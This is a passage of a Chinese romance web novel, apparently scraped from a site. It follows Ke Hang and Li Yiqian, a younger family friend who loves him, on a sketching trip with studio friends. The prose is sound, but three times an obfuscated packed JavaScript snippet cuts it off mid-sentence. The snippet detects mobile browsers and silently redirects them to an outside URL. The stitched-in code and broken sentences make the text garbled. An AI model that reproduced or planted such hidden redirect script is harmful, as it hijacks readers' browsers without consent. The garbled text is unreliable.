d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248890|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柯杭也不要求他必要坐下,微微仰头问:“你怎么不像以前一样活泼了?” 李一谦握着毛巾闭口不言。 “说。”柯杭一错不错地盯着他,发现他闪躲的眼神。 以往不是这样的,在他不画画的时候,李一谦会叽叽喳喳让他陪着去哪儿玩,说想和他呆一起,抱着他不撒手,像个精力旺盛的小孩儿。 李一谦吞吞吐吐道:“你,不是喜欢成熟的…吗?” 柯杭感觉有一口大锅扣在自己身上:“我什么时候说过了?” “我姐说你和一个比你大的人在搞暧昧。喜欢比你大的,不就是对方成熟吗?”李一谦前一句说的唯唯诺诺,后一句说的理直气壮。 柯杭拿他没办法:“不算很喜欢,只是那段时间——算了,跟你说了你也不懂。” 这时候李一谦倒有点儿以前的模样了:“哥,你要找个喜欢你的,知道你的喜好,愿意为你做饭,生病照顾你,陪你一起在雨天散步的。” 柯杭眼里盛着细碎的笑意:“嗯,还有呢?” “还有就是,会在你画画忘了时间时提醒你吃东西喝水,实在走不开也不怕麻烦喂到你嘴边的。” “天呐。”柯杭撑着脑袋苦恼道:“黄姐都不愿意为我做这些觉得我麻烦,谁还愿意做呢。” 李一谦喉结滚了滚,好像下定了某种决心:“目前好像只有我。” “是啊,只有你呢。”柯杭语气上扬,也不逗人了,他还得缓缓,“走吧,吃饭。” 这个个话题就算暂时终止了,李一谦也不知道他杭哥懂不懂他的意思。 吃过晚饭后,最后一点儿晚霞陪柯杭走到工作室,他不是最后一个到的。 工作室内的桌上已经摆上小吃,人们懒懒散散的坐着,招呼他来吃点。 “怎么说,决定去哪儿?”他找了个面前东西少的位置,拉开椅子坐下。 万煦:“其实我挺想去G市的那个百草园的,我刷视频看到那边的紫藤萝二次开花了。” “去年不是开过一次了么?”有人接话。 万煦:“对啊,我看视频里拍的好好看,有好多人画室去协商,想带学生去写生。” G市离他们这儿十万八千里,高铁十多个小时,飞机都得四五个小时,大包小包的,很奔波。 “太远了,你这样说还不如去C市,周边环境不也挺好。” 柯杭摇摇头,给出否定票:“我不想回家。” “那去N市?那边水景不错,三四个小时就可以到,完全可以自驾。而且,那边开了个艺术展,就半年,我之前想的过段时间去的。” 最后一个人珊珊到来,听到他们在讨论N市,提了一嘴:“南区还有一家野营基地,能钓鱼能搭帐篷。”他点了点数,“就我们四个啊?” “是啊,放假了回去了两个。” 几个人你一言我一语,最后琨哥提出了一个最重要的问题:“昕妹已经回家了,她当时说想要一些我们写生的素材,我们还得挑个拍视频的人,到时候抓阄?” 拍视频说麻烦不至于,但也不算简单,写生的话,他们更愿意用眼睛去感受,用笔去画,而不是在一方小屏幕中看美景。 “拍视频会乱我画心,我宁愿带烧烤架。” “加一。” “如果我说,”柯杭开口,吸引他们的注意力,“我这边有个人想跟我一块儿,并且愿意给我们拍视频,我能带他一起吗?” 桌上几个人视线一齐聚在他身上:“谁啊?” “我弟弟。” 琨哥继续吃手上的炸鸡:“来啊来啊,是之前你带出来一起吃过饭的那个小帅哥么?” 柯杭没带别人和他们一起吃过饭,点点头:“嗯,他下学期在A大上学了,提前过来适应适应。” “什么专业啊?” “机械工程。” “嚯,这个分好像蛮高的。” 柯杭毫不吝啬地夸赞李一谦:“嗯,他很厉害,超去年录取线20分,听说今年录取线会比去年低。” “牛逼,这得省状元了吧。”琨哥说。 柯杭想了想李一妍之前跟他闲聊的:“好像他前面还有个人。” “可以拿很多奖学金了。” 几个人你一言我一语定好了时间地点和大致的行程。他们几个人之前出省市写生都没带过别人,一问才发现,不是不想带,是根本没人一起。 夏天蚊子多又热,他们一坐又是几小时。他们倒不会觉得无聊,和他们同行的人却会觉得无趣。 有些风景是惊鸿一瞥,看几分钟也能保持新鲜感,但几个小时就不一样了,会觉得不过如此。 琨哥拍手:“行,那就一周后出发,我们四个加杭子的弟弟,开我那辆车吧,后备箱大点,东西放不下还可以放座位上。” “好,那今天就这样了?” “散会!” 柯杭起身将椅子推进去就往外走。 “诶!杭子你就走了啊?”万煦叫住他。 柯杭被叫得莫名:“对啊,家里还有人。” 万煦有一瞬无语,旁边的易清拍拍他肩膀,“让人走呗,又不是必须在画室呆着。” 柯杭挥挥手,离开工作室。 关上工作室的门,发现天上的月亮快圆了,忽然就想到了李一谦。 于是拨去电话,接通后问:“在干什么?出来赏月?” 14. 出发 出发前几天,柯杭带李一谦去逛商场,给他买了衣服,还有很多一次性的东西,比如一次性袜子内裤等。 当然,这都是应李一谦妈妈何纯的拜托。因为三个孩子走得近,也不想太生疏,柯杭叫何纯为“何妈”。 何纯那天给他发消息说李一谦真是打扰他了,给他发了钱说是李一谦暑假在他这儿的生活费和给他的辛苦费,像托管小孩儿一样。 李一谦一手提着几个手提袋,另一只手搭在柯杭的肩上,脑袋在他颈窝蹭了蹭,“回去了吧哥,不想逛了。” “再买一套。”柯杭推开他的脑袋和搭在肩上的手,指着前面一家店,“去那家店看看,我看到个很好看的颜色。” 身旁的人沉默不语,柯杭偏头想看看李一谦怎么都不会说了,扭头发现李一谦聋拉着脸,像被打击的大狗。 他摸摸李一谦的脑袋,把手递过去,弯了弯手指,“是不是很重,给我提点儿?” “不重。”李一谦闷闷不乐地摇头,把柯杭的手挡开。 柯杭有些不解,更多的却是好奇:“那怎么了?” 某些时候,在一些小事情上,柯杭确实比较粗心大意,不那么能感知到李一谦的感受,或是说感受到了但不知道是怎么回事,就像现在。 他们之前相处了十多年,一直是这样的相处模式。无聊了逗逗李一谦,生气了再哄哄。李一谦很少给他摆脸色,这让柯杭感到……新奇。 “嗯?”柯杭站着不动了。 李一谦也跟着停下来,但没说话。 “要我猜啊?”柯杭看他那模样觉得好笑,弯腰用手去勾几个购物袋,“走吧,回家。” 李一谦不让,柯杭便拍拍他的脑袋,“好了好了,乖,先回家。” 下扶梯的时候,柯杭拉住身后李一谦的胳膊,怕对方来个和他隔层相望。 一边思考原因的同时,又在想,李一谦这样才有点儿小孩儿模样,之前总是很老成。 在去往下一个扶梯的时候,柯杭碰了碰李一谦的胳膊,“因为我逛太久了?”然后自顾自说下去:“但我感觉你很适合穿那种暖色调的衣服,看起来会很温暖,所以想多看几家店。好吧,是我——” “不是。” 将近五分钟没说话的李一谦终于开了口,柯杭把剩下的“自作多情了”五个字咽进肚子。 行,猜错了。 没事,他还有B选项。 “那是饿了?”柯杭伸出摸了摸李一谦肚子,惹得李一谦往后缩了一下,像看见什么瘟神。 他愣愣地看着自己的手,又看李一谦:“不是吧?反应这么大。” “不是。” “让你拿太多东西了不开心?”说完柯杭立马撇清关系,“这是你自己要拿的哈,我都要和你一起拿了你还把我撇开。” 谈话间,已经到了地下停车场,李一谦像是终于忍无可忍,大声道:“不是不是不是!不是因为逛太久,也不是因为提东西,更不是因为饿了!”他看着柯杭的眼睛,声音却越来越小,“是因为……” 只是因为柯杭把他脑袋推开而使性子,太幼稚了。 “因为什么?”柯杭去翻装袋子里的车钥匙。 李一谦闷闷道:“别再把我当小孩子了。”接着夺过钥匙将车打开,坐进驾驶位:“我来开吧。” 钥匙插上后,他提醒副驾上的人:“安全带。” 经过这段时间半夜出去兜风,柯杭觉得李一谦是越来越敢了,当然技术也确实没问题,不然他可不敢让李一谦在人流量很大的白天开车。 “因为什么呀,你还没说呢。”柯杭眨眨眼,一副“你不说我就不系”的样子。 看李一谦向下瘪的唇角,忽然福至心灵,而后试探道:“总不能是我刚才把你脑袋推开不让你靠吧?” 车内瞬间寂静。 柯杭在等李一谦的“不是”,等他的反驳。 等了好几秒,也没等到。 于是,缺心眼儿的柯杭终于意识到,原来真是自己的问题。 他忽然笑了,“不是吧,二谦哈哈哈哈,太可爱了,你小时候怎么没那么别扭呢。”边笑边将胳膊搭上对方胳膊,用了点儿力气把人带过来靠着他的胸膛。 李一谦被搂得歪着身子,又被狠狠揉了两把脑袋,他听到耳边响起声音:“因为很热啊,我现在坐车里都一身汗。” 揉完脑袋还不够似的,又捏了捏他的脸。 “别气了啊。”柯杭松开李一谦。 对方的脸色已经从不虞变化为面无表情,只是一抹红爬上了脖颈。 柯杭面对着他,举起三根手指哄人:“我发誓,要是刚才没玩那个跳舞机出了一身汗的话,我绝对不会推开你,真的。” “我现在都快热死了,你没感受到我身上的热气吗?都快冒烟儿了。” 当他整个人被柯杭揽过去时,柯杭身上确实汗涔涔的,让身上的沐浴露味更加浓郁。 李一谦打开空调,不自在地看向窗外:“……哦。”然后小声嘀咕道:“你惯会哄我。” “哪能啊?那你还不开心的话,我回去给你下厨好不好?”柯杭歪头看他,似笑非笑。 “不要。”李一谦拒绝,提醒他:“该系安全带了。” 柯杭知道,这是哄好了。 出发前一晚,李一谦收拾好两人的东西,第二天直接拎着行李箱下了楼。 李一谦背上还背了个书包,看着特学生气,柯杭倒是轻装上阵,只挎了个包装平板充电器。 在柯杭的指挥下,李一谦拉开后备箱,把两人的行李箱放进去,能看见里面被遮住的伸缩画架、画包和折叠椅。 柯杭在车门前站着等他放好东西,李一谦上车后他才捡了个窗边的位置坐好。 上车后,柯杭简单给两拨人做了介绍。 “这是我弟,李一谦,前两年一块儿吃过饭的。” 几人的视线落到李一谦身上。柯杭继续道:“开车的是琨哥,画国画的,毛笔字写得特别好。叫哥叫学长都行,没差。” 琨哥谦虚道:“谬赞谬赞。” “副驾是万煦,学的数字艺术,我看过他的渲染,特牛。”他伸手拍拍前面万煦的肩膀,“转过来给我弟看看你。” 万煦扭头过来送柯杭一个白眼,然后笑眯眯地看着李一谦:“弟弟好。” “这个是易清,学雕刻的,准大四。”柯杭竖起拇指手朝李一谦左边指了指。 易清长了一张娃娃脸,看起来跟十八九岁一样,听完啧了声:“怎么回事啊,介绍我就一个名字一个专业,人万煦的介绍都比我多一句话呢。” “行行行,看脸也算是吧。二谦来,我再给你介绍一下易清。”柯杭将手臂随意搭在李一谦身上,掌心贴着对方的脸,用了点力气,让李一谦的眼睛只能看到易清,“虽然他娃娃脸吧,但也二十一二了,学雕刻的,很牛逼,栩栩如生。” 易清立马羞涩状:“哎呀,也没那么好啦。” 柯杭挨着介绍完,介绍一个李一谦叫一个人的名字,特别乖。他拐拐李一谦的胳膊,低声道:“再叫他一遍,让他再乐呵乐呵。 “易哥。”李一谦顺从道。 易清听完哈哈大笑,“哎哟,我也有今天。”他是工作室里最小的一个学弟,大二就和他们一起呆着,现在快大四。 最开始也是特有礼貌地叫学长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248891|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫哥,后面发现大家根本不在意这些,他就不管那么多了,叫名字叫外号,怎么舒服怎么喊。 工作室每个人这个哥那个姐的,叫得特顺口,唯独没人叫他哥。 对此,大家表示:对着你这张娃娃脸实在叫不出口啊。 万煦在前面插了一嘴:“那也改不了你平时就是个弟弟。” 易清撩撩不存在的袖子,作势要打:“你们别拦着我,我要打他。” “易哥,别冲动别冲动!”李一谦连忙拦住人。 整得大家都安静了一瞬,然后哈哈笑起来。万煦和易清经常斗嘴,每次都会来这么一出,易清一边撸袖子一边贴着旁边的人说“别拦我”。 “也就你信他了。”柯杭在一旁轻飘飘地说。随后放松下来,将脑袋靠在车窗上,准备睡个回笼觉。 嬉笑过后,琨哥发动车:“出发咯。” 柯杭脑袋侧靠在车窗上一颠一颠的,他故意让太阳穴贴在车窗上,痛的同时又有些爽。 本来就准备这么晃晃悠悠几小时到N市,哪知李一谦从腿上的书包里变戏法似地掏出一个U型枕,手过住他脖子扶正,戴好后,又把前端的挂绳打结系好蝴蝶结。 一旁的易清看到,身子朝前,凑到琨哥旁边,语气羡慕,“我也好想有个懂事又贴心的弟弟啊,我弟只会对我说’老哥,爆点金币’,特无语。” 琨哥从后视镜看了眼挨得很近的两人,笑了笑,没说话。 这边柯杭眯起眼,问李一谦:“你不睡?” 李一谦收拾东西的时候他就在旁边看着,为了提醒对方不要带太多没必要的东西,比如水杯牙刷睡衣等。 酒店有,民宿也有,不行再买,带东西太多是累赘。 他的东西也是李一谦收拾的,额外装了一件防晒衣和冰丝裤,问他哪儿来的,李一谦说前几天网购的,当即就让他试穿了一下,合身,算了不计较了。 毕竟以前玩了那么多年的奇迹二谦,小孩儿爱买就买吧,反正对他没坏处。 只是真没想到对方会从书包里掏出个U型枕来。 “不睡。”李一谦摇头,“戴着这个就仰头睡或者靠我肩膀就行,玻璃硬。” “你当你肩膀很软?”柯杭想也没想直接反驳,但困意来意,懒得再去辩论什么,“行,那我睡了。” 开车是个累活儿,万煦在前面和琨哥有一搭没一搭的聊着,以免司机犯困。他们时不时会和李一谦说几句话,李一谦从手机中抬起头,右看看左看看,发现两边的人都睡着了。 “琨哥,空调开高一两度吧,怕他们睡感冒了。”李一谦身体前倾,压低声音说。 高速路上,噪音很大,温度适宜,车内又放着舒缓的音乐,很难醒。 “晚上有时间了,易清绝对会让买酒喝信不信?”万煦说完扭头和李一谦搭话,“会不会喝酒?” “没喝过。”李一谦摇头,“杭哥不让我喝。” 琨哥脸上带着笑:“那你见过你哥喝酒没?上次喝醉还念你来着,”说完他侧了侧脸:“是不是小煦。” 李一谦眼睛闪了一下亮光,往前坐了点:“什么时候啊?” “上学期吧?”万煦说完看了琨哥一眼。 琨哥想了想,“嗯”了一声:“具体时间忘了,但那天他喝的晕乎乎的,说想弟弟了,想回家。” “我们最开始没当一回事儿,杭子平时看着也不像缺钱缺时间的人,我们读研,空出个几天时间也是没问题的,当时有人就让他回去看看,他又不说话。” “我当时就想你俩是不是闹矛盾了。” 李一谦:“不算。” 他们只是有些误会罢了。 15. 可以有 空调打开,拯救了一下车就喊热的几个人,李一谦绕着公寓上下两层走了一圈,在楼上看到横七竖八躺在沙发上的学长们。 听几人商量着吃饭的事情,他慢慢下楼。 “我看看有什么特色。”琨哥摸出手机点开美食软件。 易清举起一只手,精神气儿都没了:“点外卖吧哥哥弟弟们,不要出去吃了,外面真的太热了,得有四十度了吧。” “支持。”万煦抹掉脑门上的汗。 李一谦从楼上走下来,看了眼靠在沙发上打哈欠的柯杭,对大家说:“楼下就是商场,负一楼还有综合超市,可以不出这栋楼。” 柯杭抬眼懒懒地看他,像是在说“你知道的我无所谓”。 琨哥先开了口:“说实话,我有点累,不太想动。” 他开了四个多小时的车,身体确实有点吃不消。本来是两个人换着开的,但万煦后半段路也睡着了,他也没去叫。 李一谦点点头:“那看看吃什么,打电话让他们送或是我下去买,吃完收拾一下直接休息了。” “打电话吧,不然你懒得跑。” “是啊是啊。”易清应和过后,身子一偏,倒在柯杭身上,脑袋枕上对方的腰。 李一谦没管他们说什么,直勾勾看着柯杭和他身上的人。 柯杭冲李一谦挑眉,然后拍了拍易清,把手机递给他,并提议炸鸡薯条,“信我,这个快。” “等会儿我和李一谦去楼下买点儿东西,先点上等会儿一起拿上来。” 易清立马坐好,又换了一遍倒向旁边的万煦身上,“好捏。” 他们也不客气,看好自己想要的套餐加入购物车,一个传给另一个。让李一谦感到惊讶的是,这几人的爱好似乎出奇得相似。 统一的鸡排堡小吃套餐,连小吃都选得一模一样。 柯杭去卫生间洗了把脸,摸瞎找洗脸巾时,听到了李一谦的声音:“在这儿,哥,我帮你撕开。” 而后,他听到包装撕开的声音,水流从下巴滑下,他睁开一只眼,从镜子里看李一谦,嘴角上扬:“跟屁虫。” “对,就是跟屁虫。”李一谦声音闷闷的,“闭眼。” 柯杭下意识听从他的话,脸颊贴上一张面巾,一只手覆在上面替他把脸上的水滴擦干。 他忽然就想到小时候,黄姐给他洗脸的时候,一张毛巾呼脸上就开始乱擦。区别是,李一谦的动作称得上温柔。 “好了。”李一谦用手肘碰碰柯杭的胳膊,“哥你让我点儿位置,我也洗把脸。” 等人让开后,李一谦弯下腰来,就着手上那张擦过柯杭脸的洗脸巾,在水流处擦洗自己脸上泛起的热汗。 从侧面,能看见李一谦流畅的下颌线和浓密的睫毛。 李一谦从小睫毛就很浓密,像把小扇子,也正因如此,给他那双无辜的狗狗眼增添了buff。一般情况,只要李一谦肯撒娇,柯杭没有不依他的。 现在李一谦正在用他用过的洗脸巾,没干什么坏事儿,但知道从李一妍那里知道李一谦喜欢自己后,这点儿不经意间的小刺激还是够他喝一壶了。 柯杭只看了两眼就出去了,刚洗过的脸似乎又冒了汗。 一进客厅,大家果然还是四仰八叉的在沙发上。 “我手机呢?”柯杭问。 琨哥在沙发上放空自我,闭目养神。 万煦和易清玩起了巴掌游戏,头也没回:“你弟拿去了。” 柯杭靠在门边,等李一谦出来,看了眼沙发上的人们:“我晚上跟他睡,你们随便留一间给我们就行。”他没指名道姓,但大家都知道他说的谁。 等李一谦从卫生间出来,他又说:“回来的时候希望你们已经不在沙发上了。” 楼道上很热,他们在等电梯的时候,李一谦突然开口:“哥,你现在有喜欢的人吗?” 这个问题放在现下的场景可以说是毫不相干,莫名其妙。 柯杭心头一惊,面上不显,睨了身旁人一眼,“干嘛?” “没。”李一谦别过头,不知是心虚还是什么,反正没看他。 柯杭语重心长:“我是不是告诉过你,有什么话直说吗?” “就随口一问。” “行。” 柯杭的本意是想李一谦能够像小时候一样坦诚,会说喜欢和讨厌,想要什么就会提出来。 但想想,感情这事,好像没法直说,尤其是他俩。直到现在他还在努力把李一谦当作一个男人,而不是从小一起长大的弟弟。 进电梯后,柯杭才说了一句,“可以有。” 他确认李一谦听到了,但没回话。 到楼下的超市时,柯杭推了个购物车出来,把手机递给李一谦,自己在前面走着:“点我们俩的,我先挑些零食。” 为了避免撞到行人,李一谦将手搭在柯杭握在购物车把杆的手背上,另一只手专心致志地在手机上挑选套餐,神情自然。 柯杭目光流转在两只重叠的手和李一谦身上,眼中含笑。 这小孩儿,演都不演了。 从生活用品区走到零食区,李一谦还抱着手机认真挑选。柯杭怀疑李一谦志不在此,因为自己手背已经能感觉到对方手心渗出的薄汗。 “还没点完啊?”柯杭抽出自己的手,状似无意地说。 李一谦盯着自己垂下的手,虚握了一下,把手机还给柯杭,“好了哥。” “付款没?”柯杭拿起货架上的一桶火鸡面放进购物车内,探头看了眼自己手机,“哦,密码没变,790117,付完你拿着,我这个包太浅了。” 李一谦输入密码付款:“怎么不换自己的生日?” “怕忘记黄姐的生日她找我扯皮。”柯杭说。 李一谦笑了笑,尽职尽责地做好一个小跟班,把手机牢牢握在自己手里,又想去争夺购物车的把杆权。 “行,你推。”柯杭松手,挑选其他几人喜欢吃的零食,又说:“等会儿再去挑个西瓜冻上,晚上吃刚好。” 半小时后,两人大包小包回了公寓。 万煦和易清已经换了身衣服,头发还湿着,显然是刚洗完澡出来,卫生间里还有哗哗水声。 “孩儿们!饭到了!”柯杭大声道。 易清立马从沙发跑到门口,双手摊开,十分狗腿:“谢谢杭哥,请让我为您分担。” 柯杭把手上的外卖一股脑塞给他,看了看四周,发现他们支上了两个画架,他指着阳台边的画架:“你们要画画?” “睡醒再说。”万煦举起双手,用拇指和食指将窗外的景象框住,“这儿勉强算个江景房吧,旅游攻略上说傍晚的晚霞会很好看。” 易清在一旁补充:“对,先支着到时候睡醒下楼,看到外面的好景色,哇,真漂亮,画!马上画!” 柯杭无话可说,忍了忍,又问:“那为什么只放两个?” “因为就搬了两个上来啊,剩下的放车里了。”易清无辜地眨眨眼。 柯杭决定跳过这个话题:“选好房间了?” “选好了。”万煦应他,“楼上的房间是一米八和一米五的,琨哥想自己住一米五,你认床我和易清怕打游戏吵着你,所以你和弟弟住楼下,行李箱已经帮你俩放进去了。” “楼上有个小卫生间,但不能淋浴,所以我们就先把澡洗了。” 柯杭看了眼画架和旁边的楼梯,点了点头,竖起大拇指:“真有想法。” “行了,我去看看房间,你们先吃。”没继续关注已经开吃的两人,柯杭方向一转,走到他们睡觉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248892|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧室去。 贴墙的衣柜,一米八的床,飘窗上铺着一层毛茸茸的毯子,不算宽敞,但也不错,光线好,坐在窗边可以看到江对面的层层大厦。 李一谦跟在柯杭身后回了房间,见对方站在窗边看外面,从背后抱住了柯杭。温热的呼吸落在柯杭颈侧,腰被一双手环住,他一偏头,脸颊就碰到了对方的额头:“干嘛啊?” “好累。”李一谦用鼻尖蹭着与肌肤相贴的衣料,小心翼翼地嗅了嗅,“什么时候去看展?” 柯杭反手拍拍他的脑袋,“累不是你把汗蹭我衣服上的原因啊,起开,热死了。” 只是一不留神,拍头的动作就变成了安抚。 “看展只需要提前一小时预约,什么时候看都行,但今晚应该没可能了,我估摸着晚上应该会到处逛逛或看电影。” 之前带李一谦出门玩都是他俩一块儿,这次多了几个不算熟的人,想到李一谦可能会有点怕生,对对方有些暧昧的动作就宽容了不少。 身后的人没反应,柯杭捏了捏腰上的手,“够了啊,出去吃点东西,冲个澡回房间休息会儿。” “嗯。”李一谦声音闷闷的。 柯杭想把腰上的两只手拉开,“走吧,出去了。” 拉不开。 再使劲儿。 还是拉不开。 柯杭对自己力气没比自己小五岁的弟弟大这件事情,有些恼怒。外面又有人,他总不能大声训斥,只好压着声音骂道:“发什么疯?” “没什么。”李一谦声音有一丝委屈,“只是在想当时不如和你一样学美术去,现在还能跟你有共同话题。” 柯杭:? 李一谦自顾自说着:“要是我学美术你肯定会带我一起去写生,你们还一起去过草原,我和你都没去过——” 腰上忽然一痛,打断了还未说完的话,李一谦闷哼一声:“痛!” 柯杭转身拧了一把他的腰间的皮肉,轻轻推了一把,李一谦就倒在了床上。 他低头看了眼自己的手,寻思着自己也没用力啊。 “嘀嘀咕咕说什么呢?”柯杭想到他刚才说的话就来气,什么叫跟自己一起学美术? 李一谦那个四不像的起形,画不直的线还有乱七八糟的色彩,怎么好意思说要学美术啊。 集训画到凌晨三点第二天再打回去重画吗? 说起来,李一谦最近好爱闹这种别扭,在他看来和撒娇没什么区别,就是新奇,新奇的同时又怜爱上了。 不能凶,不能凶,柯杭在心里默念。 “你要真学了,你觉得你爸会支持你还是在心里骂死我?”柯杭垂眸看他,人坐在床上仰头看他,嘴角瘪着,受了天大的委屈一样。 柯杭承认自己看到这张脸后,对他不负责任的话,已经消气了。 “闹什么别扭呢?”柯杭用力捧住他的脸,把脸颊的肉往中间挤,红润的薄唇被挤成嘟嘟嘴。 “跟他们去的地方有空了也会和你去,从小到大我带你去玩的地方还少吗?嗯?” “小没良心的。” “乖点儿,等会儿让你抱着睡午觉。”柯杭拍拍他的脸,问:“现在去吃东西,能不能行?” 李一谦点头,“那我收拾完行李就出去。” “我们在这儿住三天,对吗?” “答对。”柯杭奖励般摸摸他的头:“真乖。” 柯杭出去后,李一谦打开行李箱,把叠好的衣服拿出两套挂在衣柜里,又把柯杭的护肤品和一些防晒驱蚊用品取出放在床头柜。 想到等会儿他们要洗澡,又拿出两条一次性内裤放在床上。 公寓每间房里有一次性拖鞋,拆开两双放床边。 勤劳的李一谦收拾了五分钟,终于等到脸上的热意降温。 16. 如果 在李一谦还是个小屁孩儿时,来他家串门,黄姐他们就会邀请姐弟俩留宿。 因为李一妍愿意和柯蔷一块儿呆着,所以李一谦也只好留下来。 李一谦那个时候刚上小学,身高只到柯杭的腰,睡觉的时候爱抱着他胳膊贴着他。天气冷的时候还好,小孩儿体温高,抱着也暖和。天气热的时候就不行了,哪怕房间开了空调还是热,他就先把人哄睡着再翻身睡。 到李一谦初中时候他就不要李一谦抱他睡觉了,完全是给点颜色就开染坊的类型,不止要搂胳膊了,腿还要搭他身上,腻歪歪的。 至于后来,为什么俩人一块儿睡觉,睡醒后会贴在一起,柯杭想了下原因,觉得是李一谦平时睡前会给他揉揉手腕什么的,比较舒服,所以他会贴过去。 毕竟李一谦睡觉很老实,一个姿势睡到天亮的那种。 这还是柯杭第一次拿“抱着睡”做安抚奖励,他也觉得自己心怀不轨,不然怎么会知道对方喜欢自己还这样整。 试探李一谦的同时,也是对自己感情的辨析。 吃完饭后,各自回了房间,柯杭先洗完澡,躺回床上。他睡觉偏爱靠窗的这一侧,觉得舒服,他十分随意地躺在床上。 他庆幸这间房装的是遮光窗帘,不然外面那么大的太阳还真说不准能不能睡着。 今天在车上睡了一路,但并不安稳,他不太习惯套着个U型枕睡觉,以至于越睡越困。 他们准备前两天在市里先呆着逛逛周边,后几天去易清说的露营基地找地方呆着写生。 柯杭躺了好一会儿,在床上摊了几次饼,李一谦才姗姗来迟。进门的第一件事是找墙上的空调按钮,再然后,才是关门。 上面显示设定的是18度,太低了,李一谦在柯杭的注视下调高到22度。 本来想再升两度的,他扭头看见柯杭想吃人的目光:“你要抱着我睡还开那么高?你是不是自己身上有多热,想热死我?” “……没有。”李一谦顶着压力走到床边。 “呵呵。” 听到声音,还没坐下,李一谦又默默走到门口,将温度调低两度。 再转身时,床上的人一脸赞赏:“孺子可教。” 李一谦看他那样子也笑了。 上初中时,他就不觉得自己和柯杭有太大的差距了,他只是在经历柯杭经历过的,会很快追赶上去。 小时候柯杭爱玩,自己也喜欢跟着。长大后,他发现柯杭其实很多时候更像他的同龄人。不会做饭但想尝试,画起画来就会忘记时间,看起来比他还需要有人照顾。 而他不一样。 搬家后,父亲时常忙碌在研究所,母亲在国外学习或是出差,家里常年只有他和姐姐,秉承着父母教他的要好好照顾姐姐,不能让姐姐被欺负,他担起了“小大人”的职责。 姐姐总是无忧无虑不会去操心什么,交了个心更大的朋友,但他却出奇地喜欢姐姐新交的这个朋友。 会把喜欢的东西分享给他,会以他为主角画一条条漫画,会在他摔倒的时候背他回家。 上回柯杭说想起自己为他哭的那次,其实那不是第一次。 柯杭也为他哭过,很久很久以前,因为两人玩追逐游戏。路上不知道哪来的石头,李一谦摔倒的时候正好磕到,膝盖上就出现一道血红的伤口,边上的擦伤也很疼很脏。 太痛了走不动路,柯杭见他没跟上才转过来看他,背他上楼让柯蔷处理伤口。柯蔷温柔的问他痛不痛,他摇头只是盯着柯杭看,因为柯杭看起来很难过。 那是柯杭第一次为他掉眼泪,虽然只有一滴。 顺了柯杭的愿后,李一谦才躺到对方身边。 柯杭十分大方地把手臂递给他,“抱吧抱吧。” 两人用的都是家里带来的沐浴露,这款沐浴露柯杭用了七八年,甜橙味,很香。如果是自己出来,肯定是懒得带的,也亏得李一谦有那个精力,专门买了分装袋。 陌生的地方,却有熟悉的人,身上还和他一样有相同的气味。柯杭忽然想起之前李一妍说,家里让李一谦出国,正好何纯也在那边,李一谦拒绝了。 前几年说过要去陪妈妈的小孩儿,几年后拒绝的却很干脆。 柯杭握着手机翻了个身,面对着李一谦:“我听你姐说,家里想让你出国,怎么不去?” “太远了。”他回答道。 “也还好吧,飞十几个小时就到了,而且还可以经常和你妈妈见面。”柯杭说,“她还是很关心你,你来我这儿之后她每周都会问问我你的情况。” 手机悬在两人中间,昏暗中,两人的眼里都只有对方,手机亮光为彼此的存在增添光彩。 “那你呢?你想我去吗?”李一谦问他,“如果我去了,这个暑假就不会来找你了,我们之间的误会也不会解开。” “如果我去三五年,我们三五年不见,还能像现在一样躺在同一张床上聊天吗?” 柯杭不觉移开自己的视线。 答案肯定是不能。 过去一年他只是不想见到李一谦,因为觉得尴尬,但仅仅只是不想面对而已,并没有因此生出隔阂。 但如果,前脚他刚避免相见,后脚李一谦就出国的话,那性质就不一样了,他可能懒得理,然后从李一妍口中听说她这个弟弟怎么怎么样。 或许就真的像熟悉的普通朋友一样了。 未来的事情他其实不太在意,只在乎当下的感受。 或许最开始是迫于黄姐的要求,答应让李一谦来找他了,但其实心里也是想解决问题的。 但这个问题不能是他主动提出要解决的,因为始作俑者就是他自己。 “不会对吧?”李一谦笑了,“哥你总是这样。” 柯杭立马还嘴:“我哪样了?” “明明在意的要死,但总表现出不在乎。”李一谦伸手帮他把额前的一撮刘海别到耳后。 “问我姐我的高考成绩,让我爸爸多回家陪陪我,还有房间旧画纸里很多张画了一半的我。” 柯杭皱眉,眼神从吃惊到震惊,手疾眼快捂住他的嘴,“什么就是你了,看啥都是你是吧?” 李一谦没反驳,笑弯了眼。 “闭嘴,睡觉。”柯杭翻了个身,把手机放一边闭上眼。 李一谦眼中笑意更甚,他抚过柯杭的发尾,这点浅色在昏暗的环境中很亮眼,拢起头发后他取下手腕上的黑色头绳给对方绑上。 接着,手臂环着柯杭的脖子,将人搂在怀中,低声说:“你答应我让我抱着睡的。” 这段 